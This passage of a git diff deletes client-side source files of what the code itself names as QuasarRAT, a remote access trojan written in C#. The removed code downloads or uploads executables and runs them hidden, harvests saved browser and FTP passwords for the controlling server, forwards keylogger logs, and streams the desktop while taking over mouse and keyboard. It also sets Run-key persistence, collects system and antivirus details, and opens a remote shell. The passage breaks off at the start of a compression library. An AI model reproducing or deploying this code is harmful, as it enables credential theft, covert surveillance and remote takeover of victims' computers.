-using System.Diagnostics; -using System.IO; -using System.Net; -using System.Threading; -using System.Windows.Forms; -using xClient.Core.Helper; -using xClient.Core.Networking; -using xClient.Core.Utilities; - -namespace xClient.Core.Commands -{ - /* THIS PARTIAL CLASS SHOULD CONTAIN MISCELLANEOUS METHODS. */ - public static partial class CommandHandler - { - public static void HandleDoDownloadAndExecute(Packets.ServerPackets.DoDownloadAndExecute command, - Client client) - { - new Packets.ClientPackets.SetStatus("Downloading file...").Execute(client); - - new Thread(() => - { - string tempFile = FileHelper.GetTempFilePath(".exe"); - - try - { - using (WebClient c = new WebClient()) - { - c.Proxy = null; - c.DownloadFile(command.URL, tempFile); - } - } - catch - { - new Packets.ClientPackets.SetStatus("Download failed!").Execute(client); - return; - } - - new Packets.ClientPackets.SetStatus("Downloaded File!").Execute(client); - - try - { - FileHelper.DeleteZoneIdentifier(tempFile); - - var bytes = File.ReadAllBytes(tempFile); - if (!FileHelper.IsValidExecuteableFile(bytes)) - throw new Exception("no pe file"); - - ProcessStartInfo startInfo = new ProcessStartInfo(); - if (command.RunHidden) - { - startInfo.WindowStyle = ProcessWindowStyle.Hidden; - startInfo.CreateNoWindow = true; - } - startInfo.UseShellExecute = false; - startInfo.FileName = tempFile; - Process.Start(startInfo); - } - catch - { - NativeMethods.DeleteFile(tempFile); - new Packets.ClientPackets.SetStatus("Execution failed!").Execute(client); - return; - } - - new Packets.ClientPackets.SetStatus("Executed File!").Execute(client); - }).Start(); - } - - public static void HandleDoUploadAndExecute(Packets.ServerPackets.DoUploadAndExecute command, Client client) - { - if (!_renamedFiles.ContainsKey(command.ID)) - _renamedFiles.Add(command.ID, FileHelper.GetTempFilePath(Path.GetExtension(command.FileName))); - - string filePath = _renamedFiles[command.ID]; - - try - { - if (command.CurrentBlock == 0 && Path.GetExtension(filePath) == ".exe" && !FileHelper.IsValidExecuteableFile(command.Block)) - throw new Exception("No executable file"); - - FileSplit destFile = new FileSplit(filePath); - - if (!destFile.AppendBlock(command.Block, command.CurrentBlock)) - throw new Exception(destFile.LastError); - - if ((command.CurrentBlock + 1) == command.MaxBlocks) // execute - { - if (_renamedFiles.ContainsKey(command.ID)) - _renamedFiles.Remove(command.ID); - - FileHelper.DeleteZoneIdentifier(filePath); - - ProcessStartInfo startInfo = new ProcessStartInfo(); - if (command.RunHidden) - { - startInfo.WindowStyle = ProcessWindowStyle.Hidden; - startInfo.CreateNoWindow = true; - } - startInfo.UseShellExecute = false; - startInfo.FileName = filePath; - Process.Start(startInfo); - - new Packets.ClientPackets.SetStatus("Executed File!").Execute(client); - } - } - catch (Exception ex) - { - if (_renamedFiles.ContainsKey(command.ID)) - _renamedFiles.Remove(command.ID); - NativeMethods.DeleteFile(filePath); - new Packets.ClientPackets.SetStatus(string.Format("Execution failed: {0}", ex.Message)).Execute(client); - } - } - - public static void HandleDoVisitWebsite(Packets.ServerPackets.DoVisitWebsite command, Client client) - { - string url = command.URL; - - if (!url.StartsWith("http")) - url = "http://" + url; - - if (Uri.IsWellFormedUriString(url, UriKind.RelativeOrAbsolute)) - { - if (!command.Hidden) - Process.Start(url); - else - { - try - { - HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(url); - request.UserAgent = - "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A"; - request.AllowAutoRedirect = true; - request.Timeout = 10000; - request.Method = "GET"; - - using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) - { - } - } - catch - { - } - } - - new Packets.ClientPackets.SetStatus("Visited Website").Execute(client); - } - } - - public static void HandleDoShowMessageBox(Packets.ServerPackets.DoShowMessageBox command, Client client) - { - new Thread(() => - { - MessageBox.Show(command.Text, command.Caption, - (MessageBoxButtons)Enum.Parse(typeof(MessageBoxButtons), command.MessageboxButton), - (MessageBoxIcon)Enum.Parse(typeof(MessageBoxIcon), command.MessageboxIcon), - MessageBoxDefaultButton.Button1, MessageBoxOptions.DefaultDesktopOnly); - }).Start(); - - new Packets.ClientPackets.SetStatus("Showed Messagebox").Execute(client); - } - } -} \ No newline at end of file diff --git a/Client/Core/Commands/RegistryHandler.cs b/Client/Core/Commands/RegistryHandler.cs deleted file mode 100644 index 19feefc03..000000000 --- a/Client/Core/Commands/RegistryHandler.cs +++ /dev/null @@ -1,212 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using xClient.Core.Networking; -using xClient.Core.Registry; -using xClient.Core.Extensions; - -namespace xClient.Core.Commands -{ - /* - * Derived and Adapted By Justin Yanke - * github: https://github.com/yankejustin - * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - * This code is created by Justin Yanke and has only been - * modified partially. - * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - * Modified by StingRaptor on January 21, 2016 - * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - * Original Source: - * https://github.com/quasar/QuasarRAT/blob/regedit/Client/Core/Commands/RegistryHandler.cs - */ - - /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT MANIPULATE THE REGISTRY. */ - public static partial class CommandHandler - { - - public static void HandleGetRegistryKey(xClient.Core.Packets.ServerPackets.DoLoadRegistryKey packet, Client client) - { - try - { - - seeker = new RegistrySeeker(); - - xClient.Core.Packets.ClientPackets.GetRegistryKeysResponse responsePacket = new Packets.ClientPackets.GetRegistryKeysResponse(); - - seeker.SearchComplete += (object o, SearchCompletedEventArgs e) => - { - responsePacket.Matches = e.Matches.ToArray(); - responsePacket.RootKey = packet.RootKeyName; - - responsePacket.Execute(client); - }; - - // If the search parameters of the packet is null, the server is requesting to obtain the root keys. - if (packet.RootKeyName == null) - { - seeker.Start(new RegistrySeekerParams(null)); - } - else - { - seeker.Start(packet.RootKeyName); - } - } - catch - { } - } - - #region Registry Key Edit - - public static void HandleCreateRegistryKey(xClient.Core.Packets.ServerPackets.DoCreateRegistryKey packet, Client client) - { - xClient.Core.Packets.ClientPackets.GetCreateRegistryKeyResponse responsePacket = new Packets.ClientPackets.GetCreateRegistryKeyResponse(); - string errorMsg = ""; - string newKeyName = ""; - try - { - responsePacket.IsError = !(RegistryEditor.CreateRegistryKey(packet.ParentPath, out newKeyName, out errorMsg)); - } - catch (Exception ex) - { - responsePacket.IsError = true; - errorMsg = ex.Message; - } - responsePacket.ErrorMsg = errorMsg; - - responsePacket.Match = new RegSeekerMatch(newKeyName, new List(), 0); - responsePacket.ParentPath = packet.ParentPath; - - responsePacket.Execute(client); - } - - public static void HandleDeleteRegistryKey(xClient.Core.Packets.ServerPackets.DoDeleteRegistryKey packet, Client client) - { - xClient.Core.Packets.ClientPackets.GetDeleteRegistryKeyResponse responsePacket = new Packets.ClientPackets.GetDeleteRegistryKeyResponse(); - string errorMsg = ""; - try - { - responsePacket.IsError = !(RegistryEditor.DeleteRegistryKey(packet.KeyName, packet.ParentPath, out errorMsg)); - } - catch (Exception ex) - { - responsePacket.IsError = true; - errorMsg = ex.Message; - } - responsePacket.ErrorMsg = errorMsg; - responsePacket.ParentPath = packet.ParentPath; - responsePacket.KeyName = packet.KeyName; - - responsePacket.Execute(client); - } - - public static void HandleRenameRegistryKey(xClient.Core.Packets.ServerPackets.DoRenameRegistryKey packet, Client client) - { - xClient.Core.Packets.ClientPackets.GetRenameRegistryKeyResponse responsePacket = new Packets.ClientPackets.GetRenameRegistryKeyResponse(); - string errorMsg = ""; - try - { - responsePacket.IsError = !(RegistryEditor.RenameRegistryKey(packet.OldKeyName, packet.NewKeyName, packet.ParentPath, out errorMsg)); - } - catch (Exception ex) - { - responsePacket.IsError = true; - errorMsg = ex.Message; - } - responsePacket.ErrorMsg = errorMsg; - responsePacket.ParentPath = packet.ParentPath; - responsePacket.OldKeyName = packet.OldKeyName; - responsePacket.NewKeyName = packet.NewKeyName; - - responsePacket.Execute(client); - } - - #endregion - - #region RegistryValue Edit - - public static void HandleCreateRegistryValue(xClient.Core.Packets.ServerPackets.DoCreateRegistryValue packet, Client client) - { - xClient.Core.Packets.ClientPackets.GetCreateRegistryValueResponse responsePacket = new Packets.ClientPackets.GetCreateRegistryValueResponse(); - string errorMsg = ""; - string newKeyName = ""; - try - { - responsePacket.IsError = !(RegistryEditor.CreateRegistryValue(packet.KeyPath, packet.Kind, out newKeyName, out errorMsg)); - } - catch (Exception ex) - { - responsePacket.IsError = true; - errorMsg = ex.Message; - } - responsePacket.ErrorMsg = errorMsg; - responsePacket.Value = new RegValueData(newKeyName, packet.Kind, packet.Kind.GetDefault()); - responsePacket.KeyPath = packet.KeyPath; - - responsePacket.Execute(client); - } - - public static void HandleDeleteRegistryValue(xClient.Core.Packets.ServerPackets.DoDeleteRegistryValue packet, Client client) - { - xClient.Core.Packets.ClientPackets.GetDeleteRegistryValueResponse responsePacket = new Packets.ClientPackets.GetDeleteRegistryValueResponse(); - string errorMsg = ""; - try - { - responsePacket.IsError = !(RegistryEditor.DeleteRegistryValue(packet.KeyPath, packet.ValueName, out errorMsg)); - } - catch (Exception ex) - { - responsePacket.IsError = true; - errorMsg = ex.Message; - } - responsePacket.ErrorMsg = errorMsg; - responsePacket.ValueName = packet.ValueName; - responsePacket.KeyPath = packet.KeyPath; - - responsePacket.Execute(client); - } - - public static void HandleRenameRegistryValue(xClient.Core.Packets.ServerPackets.DoRenameRegistryValue packet, Client client) - { - xClient.Core.Packets.ClientPackets.GetRenameRegistryValueResponse responsePacket = new Packets.ClientPackets.GetRenameRegistryValueResponse(); - string errorMsg = ""; - try - { - responsePacket.IsError = !(RegistryEditor.RenameRegistryValue(packet.OldValueName, packet.NewValueName, packet.KeyPath, out errorMsg)); - } - catch (Exception ex) - { - responsePacket.IsError = true; - errorMsg = ex.Message; - } - responsePacket.ErrorMsg = errorMsg; - responsePacket.KeyPath = packet.KeyPath; - responsePacket.OldValueName = packet.OldValueName; - responsePacket.NewValueName = packet.NewValueName; - - responsePacket.Execute(client); - } - - public static void HandleChangeRegistryValue(xClient.Core.Packets.ServerPackets.DoChangeRegistryValue packet, Client client) - { - xClient.Core.Packets.ClientPackets.GetChangeRegistryValueResponse responsePacket = new Packets.ClientPackets.GetChangeRegistryValueResponse(); - string errorMsg = ""; - try - { - responsePacket.IsError = !(RegistryEditor.ChangeRegistryValue(packet.Value, packet.KeyPath, out errorMsg)); - } - catch (Exception ex) - { - responsePacket.IsError = true; - errorMsg = ex.Message; - } - responsePacket.ErrorMsg = errorMsg; - responsePacket.KeyPath = packet.KeyPath; - responsePacket.Value = packet.Value; - - responsePacket.Execute(client); - } - - #endregion - } -} diff --git a/Client/Core/Commands/SurveillanceHandler.cs b/Client/Core/Commands/SurveillanceHandler.cs deleted file mode 100644 index b6884edb7..000000000 --- a/Client/Core/Commands/SurveillanceHandler.cs +++ /dev/null @@ -1,205 +0,0 @@ -using System; -using System.Drawing; -using System.IO; -using System.Windows.Forms; -using xClient.Core.Helper; -using System.Drawing.Imaging; -using System.Threading; -using xClient.Core.Networking; -using xClient.Core.Utilities; -using xClient.Enums; -using System.Collections.Generic; -using xClient.Core.Data; -using xClient.Core.Recovery.Browsers; -using xClient.Core.Recovery.FtpClients; - -namespace xClient.Core.Commands -{ - /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT HANDLE SURVEILLANCE COMMANDS. */ - public static partial class CommandHandler - { - public static void HandleGetPasswords(Packets.ServerPackets.GetPasswords packet, Client client) - { - List recovered = new List(); - - recovered.AddRange(Chrome.GetSavedPasswords()); - recovered.AddRange(Opera.GetSavedPasswords()); - recovered.AddRange(Yandex.GetSavedPasswords()); - recovered.AddRange(InternetExplorer.GetSavedPasswords()); - recovered.AddRange(Firefox.GetSavedPasswords()); - recovered.AddRange(FileZilla.GetSavedPasswords()); - recovered.AddRange(WinSCP.GetSavedPasswords()); - - List raw = new List(); - - foreach (RecoveredAccount value in recovered) - { - string rawValue = string.Format("{0}{4}{1}{4}{2}{4}{3}", value.Username, value.Password, value.URL, value.Application, DELIMITER); - raw.Add(rawValue); - } - - new Packets.ClientPackets.GetPasswordsResponse(raw).Execute(client); - } - - public static void HandleGetDesktop(Packets.ServerPackets.GetDesktop command, Client client) - { - var resolution = FormatHelper.FormatScreenResolution(ScreenHelper.GetBounds(command.Monitor)); - - if (StreamCodec == null) - StreamCodec = new UnsafeStreamCodec(command.Quality, command.Monitor, resolution); - - if (StreamCodec.ImageQuality != command.Quality || StreamCodec.Monitor != command.Monitor - || StreamCodec.Resolution != resolution) - { - if (StreamCodec != null) - StreamCodec.Dispose(); - - StreamCodec = new UnsafeStreamCodec(command.Quality, command.Monitor, resolution); - } - - BitmapData desktopData = null; - Bitmap desktop = null; - try - { - desktop = ScreenHelper.CaptureScreen(command.Monitor); - desktopData = desktop.LockBits(new Rectangle(0, 0, desktop.Width, desktop.Height), - ImageLockMode.ReadWrite, desktop.PixelFormat); - - using (MemoryStream stream = new MemoryStream()) - { - if (StreamCodec == null) throw new Exception("StreamCodec can not be null."); - StreamCodec.CodeImage(desktopData.Scan0, - new Rectangle(0, 0, desktop.Width, desktop.Height), - new Size(desktop.Width, desktop.Height), - desktop.PixelFormat, stream); - new Packets.ClientPackets.GetDesktopResponse(stream.ToArray(), StreamCodec.ImageQuality, - StreamCodec.Monitor, StreamCodec.Resolution).Execute(client); - } - } - catch (Exception) - { - if (StreamCodec != null) - new Packets.ClientPackets.GetDesktopResponse(null, StreamCodec.ImageQuality, StreamCodec.Monitor, - StreamCodec.Resolution).Execute(client); - - StreamCodec = null; - } - finally - { - if (desktop != null) - { - if (desktopData != null) - { - try - { - desktop.UnlockBits(desktopData); - } - catch - { - } - } - desktop.Dispose(); - } - } - } - - public static void HandleDoMouseEvent(Packets.ServerPackets.DoMouseEvent command, Client client) - { - try - { - Screen[] allScreens = Screen.AllScreens; - int offsetX = allScreens[command.MonitorIndex].Bounds.X; - int offsetY = allScreens[command.MonitorIndex].Bounds.Y; - Point p = new Point(command.X + offsetX, command.Y + offsetY); - - switch (command.Action) - { - case MouseAction.LeftDown: - case MouseAction.LeftUp: - NativeMethodsHelper.DoMouseLeftClick(p, command.IsMouseDown); - break; - case MouseAction.RightDown: - case MouseAction.RightUp: - NativeMethodsHelper.DoMouseRightClick(p, command.IsMouseDown); - break; - case MouseAction.MoveCursor: - NativeMethodsHelper.DoMouseMove(p); - break; - case MouseAction.ScrollDown: - NativeMethodsHelper.DoMouseScroll(p, true); - break; - case MouseAction.ScrollUp: - NativeMethodsHelper.DoMouseScroll(p, false); - break; - } - } - catch - { - } - } - - public static void HandleDoKeyboardEvent(Packets.ServerPackets.DoKeyboardEvent command, Client client) - { - NativeMethodsHelper.DoKeyPress(command.Key, command.KeyDown); - } - - public static void HandleGetMonitors(Packets.ServerPackets.GetMonitors command, Client client) - { - if (Screen.AllScreens.Length > 0) - { - new Packets.ClientPackets.GetMonitorsResponse(Screen.AllScreens.Length).Execute(client); - } - } - - public static void HandleGetKeyloggerLogs(Packets.ServerPackets.GetKeyloggerLogs command, Client client) - { - new Thread(() => - { - try - { - int index = 1; - - if (!Directory.Exists(Keylogger.LogDirectory)) - { - new Packets.ClientPackets.GetKeyloggerLogsResponse("", new byte[0], -1, -1, "", index, 0).Execute(client); - return; - } - - FileInfo[] iFiles = new DirectoryInfo(Keylogger.LogDirectory).GetFiles(); - - if (iFiles.Length == 0) - { - new Packets.ClientPackets.GetKeyloggerLogsResponse("", new byte[0], -1, -1, "", index, 0).Execute(client); - return; - } - - foreach (FileInfo file in iFiles) - { - FileSplit srcFile = new FileSplit(file.FullName); - - if (srcFile.MaxBlocks < 0) - new Packets.ClientPackets.GetKeyloggerLogsResponse("", new byte[0], -1, -1, srcFile.LastError, index, iFiles.Length).Execute(client); - - for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++) - { - byte[] block; - if (srcFile.ReadBlock(currentBlock, out block)) - { - new Packets.ClientPackets.GetKeyloggerLogsResponse(Path.GetFileName(file.Name), block, srcFile.MaxBlocks, currentBlock, srcFile.LastError, index, iFiles.Length).Execute(client); - //Thread.Sleep(200); - } - else - new Packets.ClientPackets.GetKeyloggerLogsResponse("", new byte[0], -1, -1, srcFile.LastError, index, iFiles.Length).Execute(client); - } - - index++; - } - } - catch (Exception ex) - { - new Packets.ClientPackets.GetKeyloggerLogsResponse("", new byte[0], -1, -1, ex.Message, -1, -1).Execute(client); - } - }).Start(); - } - } -} \ No newline at end of file diff --git a/Client/Core/Commands/SystemHandler.cs b/Client/Core/Commands/SystemHandler.cs deleted file mode 100644 index 2b54477be..000000000 --- a/Client/Core/Commands/SystemHandler.cs +++ /dev/null @@ -1,460 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.IO; -using System.Linq; -using System.Net.NetworkInformation; -using System.Windows.Forms; -using Microsoft.Win32; -using xClient.Core.Extensions; -using xClient.Core.Helper; -using xClient.Core.Networking; -using xClient.Core.Utilities; -using xClient.Enums; - -namespace xClient.Core.Commands -{ - /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT MANIPULATE THE SYSTEM (drives, directories, files, etc.). */ - public static partial class CommandHandler - { - public static void HandleGetDrives(Packets.ServerPackets.GetDrives command, Client client) - { - DriveInfo[] drives; - try - { - drives = DriveInfo.GetDrives().Where(d => d.IsReady).ToArray(); - } - catch (IOException) - { - new Packets.ClientPackets.SetStatusFileManager("GetDrives I/O error", false).Execute(client); - return; - } - catch (UnauthorizedAccessException) - { - new Packets.ClientPackets.SetStatusFileManager("GetDrives No permission", false).Execute(client); - return; - } - - if (drives.Length == 0) - { - new Packets.ClientPackets.SetStatusFileManager("GetDrives No drives", false).Execute(client); - return; - } - - string[] displayName = new string[drives.Length]; - string[] rootDirectory = new string[drives.Length]; - for (int i = 0; i < drives.Length; i++) - { - string volumeLabel = null; - try - { - volumeLabel = drives[i].VolumeLabel; - } - catch - { - } - - if (string.IsNullOrEmpty(volumeLabel)) - { - displayName[i] = string.Format("{0} [{1}, {2}]", drives[i].RootDirectory.FullName, - FormatHelper.DriveTypeName(drives[i].DriveType), drives[i].DriveFormat); - } - else - { - displayName[i] = string.Format("{0} ({1}) [{2}, {3}]", drives[i].RootDirectory.FullName, volumeLabel, - FormatHelper.DriveTypeName(drives[i].DriveType), drives[i].DriveFormat); - } - rootDirectory[i] = drives[i].RootDirectory.FullName; - } - - new Packets.ClientPackets.GetDrivesResponse(displayName, rootDirectory).Execute(client); - } - - public static void HandleDoShutdownAction(Packets.ServerPackets.DoShutdownAction command, Client client) - { - try - { - ProcessStartInfo startInfo = new ProcessStartInfo(); - switch (command.Action) - { - case ShutdownAction.Shutdown: - startInfo.WindowStyle = ProcessWindowStyle.Hidden; - startInfo.UseShellExecute = true; - startInfo.Arguments = "/s /t 0"; // shutdown - startInfo.FileName = "shutdown"; - Process.Start(startInfo); - break; - case ShutdownAction.Restart: - startInfo.WindowStyle = ProcessWindowStyle.Hidden; - startInfo.UseShellExecute = true; - startInfo.Arguments = "/r /t 0"; // restart - startInfo.FileName = "shutdown"; - Process.Start(startInfo); - break; - case ShutdownAction.Standby: - Application.SetSuspendState(PowerState.Suspend, true, true); // standby - break; - } - } - catch (Exception ex) - { - new Packets.ClientPackets.SetStatus(string.Format("Action failed: {0}", ex.Message)).Execute(client); - } - } - - public static void HandleGetStartupItems(Packets.ServerPackets.GetStartupItems command, Client client) - { - try - { - List startupItems = new List(); - - using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")) - { - if (key != null) - { - startupItems.AddRange(key.GetFormattedKeyValues().Select(formattedKeyValue => "0" + formattedKeyValue)); - } - } - using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) - { - if (key != null) - { - startupItems.AddRange(key.GetFormattedKeyValues().Select(formattedKeyValue => "1" + formattedKeyValue)); - } - } - using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")) - { - if (key != null) - { - startupItems.AddRange(key.GetFormattedKeyValues().Select(formattedKeyValue => "2" + formattedKeyValue)); - } - } - using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) - { - if (key != null) - { - startupItems.AddRange(key.GetFormattedKeyValues().Select(formattedKeyValue => "3" + formattedKeyValue)); - } - } - if (PlatformHelper.Is64Bit) - { - using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run")) - { - if (key != null) - { - startupItems.AddRange(key.GetFormattedKeyValues().Select(formattedKeyValue => "4" + formattedKeyValue)); - } - } - using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) - { - if (key != null) - { - startupItems.AddRange(key.GetFormattedKeyValues().Select(formattedKeyValue => "5" + formattedKeyValue)); - } - } - } - if (Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup))) - { - var files = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.Startup)).GetFiles(); - - startupItems.AddRange(from file in files where file.Name != "desktop.ini" - select string.Format("{0}||{1}", file.Name, file.FullName) into formattedKeyValue - select "6" + formattedKeyValue); - } - - new Packets.ClientPackets.GetStartupItemsResponse(startupItems).Execute(client); - } - catch (Exception ex) - { - new Packets.ClientPackets.SetStatus(string.Format("Getting Autostart Items failed: {0}", ex.Message)).Execute(client); - } - } - - public static void HandleDoStartupItemAdd(Packets.ServerPackets.DoStartupItemAdd command, Client client) - { - try - { - switch (command.Type) - { - case 0: - if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, - "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", command.Name, command.Path, true)) - { - throw new Exception("Could not add value"); - } - break; - case 1: - if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, - "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.Name, command.Path, true)) - { - throw new Exception("Could not add value"); - } - break; - case 2: - if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, - "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", command.Name, command.Path, true)) - { - throw new Exception("Could not add value"); - } - break; - case 3: - if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, - "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.Name, command.Path, true)) - { - throw new Exception("Could not add value"); - } - break; - case 4: - if (!PlatformHelper.Is64Bit) - throw new NotSupportedException("Only on 64-bit systems supported"); - - if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, - "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", command.Name, command.Path, true)) - { - throw new Exception("Could not add value"); - } - break; - case 5: - if (!PlatformHelper.Is64Bit) - throw new NotSupportedException("Only on 64-bit systems supported"); - - if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, - "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.Name, command.Path, true)) - { - throw new Exception("Could not add value"); - } - break; - case 6: - if (!Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup))) - { - Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.Startup)); - } - - string lnkPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), - command.Name + ".url"); - - using (var writer = new StreamWriter(lnkPath, false)) - { - writer.WriteLine("[InternetShortcut]"); - writer.WriteLine("URL=file:///" + command.Path); - writer.WriteLine("IconIndex=0"); - writer.WriteLine("IconFile=" + command.Path.Replace('\\', '/')); - writer.Flush(); - } - break; - } - } - catch (Exception ex) - { - new Packets.ClientPackets.SetStatus(string.Format("Adding Autostart Item failed: {0}", ex.Message)).Execute(client); - } - } - - public static void HandleDoStartupItemRemove(Packets.ServerPackets.DoStartupItemRemove command, Client client) - { - try - { - switch (command.Type) - { - case 0: - if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, - "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", command.Name)) - { - throw new Exception("Could not remove value"); - } - break; - case 1: - if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, - "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.Name)) - { - throw new Exception("Could not remove value"); - } - break; - case 2: - if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser, - "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", command.Name)) - { - throw new Exception("Could not remove value"); - } - break; - case 3: - if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser, - "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.Name)) - { - throw new Exception("Could not remove value"); - } - break; - case 4: - if (!PlatformHelper.Is64Bit) - throw new NotSupportedException("Only on 64-bit systems supported"); - - if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, - "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", command.Name)) - { - throw new Exception("Could not remove value"); - } - break; - case 5: - if (!PlatformHelper.Is64Bit) - throw new NotSupportedException("Only on 64-bit systems supported"); - - if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, - "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.Name)) - { - throw new Exception("Could not remove value"); - } - break; - case 6: - string startupItemPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), command.Name); - - if (!File.Exists(startupItemPath)) - throw new IOException("File does not exist"); - - File.Delete(startupItemPath); - break; - } - } - catch (Exception ex) - { - new Packets.ClientPackets.SetStatus(string.Format("Removing Autostart Item failed: {0}", ex.Message)).Execute(client); - } - } - - public static void HandleGetSystemInfo(Packets.ServerPackets.GetSystemInfo command, Client client) - { - try - { - IPGlobalProperties properties = IPGlobalProperties.GetIPGlobalProperties(); - - var domainName = (!string.IsNullOrEmpty(properties.DomainName)) ? properties.DomainName : "-"; - var hostName = (!string.IsNullOrEmpty(properties.HostName)) ? properties.HostName : "-"; - - - string[] infoCollection = new string[] - { - "Processor (CPU)", - DevicesHelper.GetCpuName(), - "Memory (RAM)", - string.Format("{0} MB", DevicesHelper.GetTotalRamAmount()), - "Video Card (GPU)", - DevicesHelper.GetGpuName(), - "Username", - WindowsAccountHelper.GetName(), - "PC Name", - SystemHelper.GetPcName(), - "Domain Name", - domainName, - "Host Name", - hostName, - "System Drive", - Path.GetPathRoot(Environment.SystemDirectory), - "System Directory", - Environment.SystemDirectory, - "Uptime", - SystemHelper.GetUptime(), - "MAC Address", - DevicesHelper.GetMacAddress(), - "LAN IP Address", - DevicesHelper.GetLanIp(), - "WAN IP Address", - GeoLocationHelper.GeoInfo.ip, - "Antivirus", - SystemHelper.GetAntivirus(), - "Firewall", - SystemHelper.GetFirewall(), - "Time Zone", - GeoLocationHelper.GeoInfo.timezone, - "Country", - GeoLocationHelper.GeoInfo.country, - "ISP", - GeoLocationHelper.GeoInfo.isp - }; - - new Packets.ClientPackets.GetSystemInfoResponse(infoCollection).Execute(client); - } - catch - { - } - } - - public static void HandleGetProcesses(Packets.ServerPackets.GetProcesses command, Client client) - { - Process[] pList = Process.GetProcesses(); - string[] processes = new string[pList.Length]; - int[] ids = new int[pList.Length]; - string[] titles = new string[pList.Length]; - - int i = 0; - foreach (Process p in pList) - { - processes[i] = p.ProcessName + ".exe"; - ids[i] = p.Id; - titles[i] = p.MainWindowTitle; - i++; - } - - new Packets.ClientPackets.GetProcessesResponse(processes, ids, titles).Execute(client); - } - - public static void HandleDoProcessStart(Packets.ServerPackets.DoProcessStart command, Client client) - { - if (string.IsNullOrEmpty(command.Processname)) - { - new Packets.ClientPackets.SetStatus("Process could not be started!").Execute(client); - return; - } - - try - { - ProcessStartInfo startInfo = new ProcessStartInfo - { - UseShellExecute = true, - FileName = command.Processname - }; - Process.Start(startInfo); - } - catch - { - new Packets.ClientPackets.SetStatus("Process could not be started!").Execute(client); - } - finally - { - HandleGetProcesses(new Packets.ServerPackets.GetProcesses(), client); - } - } - - public static void HandleDoProcessKill(Packets.ServerPackets.DoProcessKill command, Client client) - { - try - { - Process.GetProcessById(command.PID).Kill(); - } - catch - { - } - finally - { - HandleGetProcesses(new Packets.ServerPackets.GetProcesses(), client); - } - } - - public static void HandleDoShellExecute(Packets.ServerPackets.DoShellExecute command, Client client) - { - string input = command.Command; - - if (_shell == null && input == "exit") return; - if (_shell == null) _shell = new Shell(); - - if (input == "exit") - CloseShell(); - else - _shell.ExecuteCommand(input); - } - - public static void CloseShell() - { - if (_shell != null) - _shell.Dispose(); - } - } -} diff --git a/Client/Core/Compression/SafeQuickLZ.cs b/Client/Core/Compression/SafeQuickLZ.cs deleted file mode 100644 index df313e3cf..000000000 --- a/Client/Core/Compression/SafeQuickLZ.cs +++ /dev/null @@ -1,513 +0,0 @@ -using System; - -#pragma warning disable 0675 - -namespace xClient.Core.Compression -{ - // QuickLZ data compression library - // Copyright (C) 2006-2011 Lasse Mikkel Reinhold - // lar@quicklz.com - // - // QuickLZ can be used 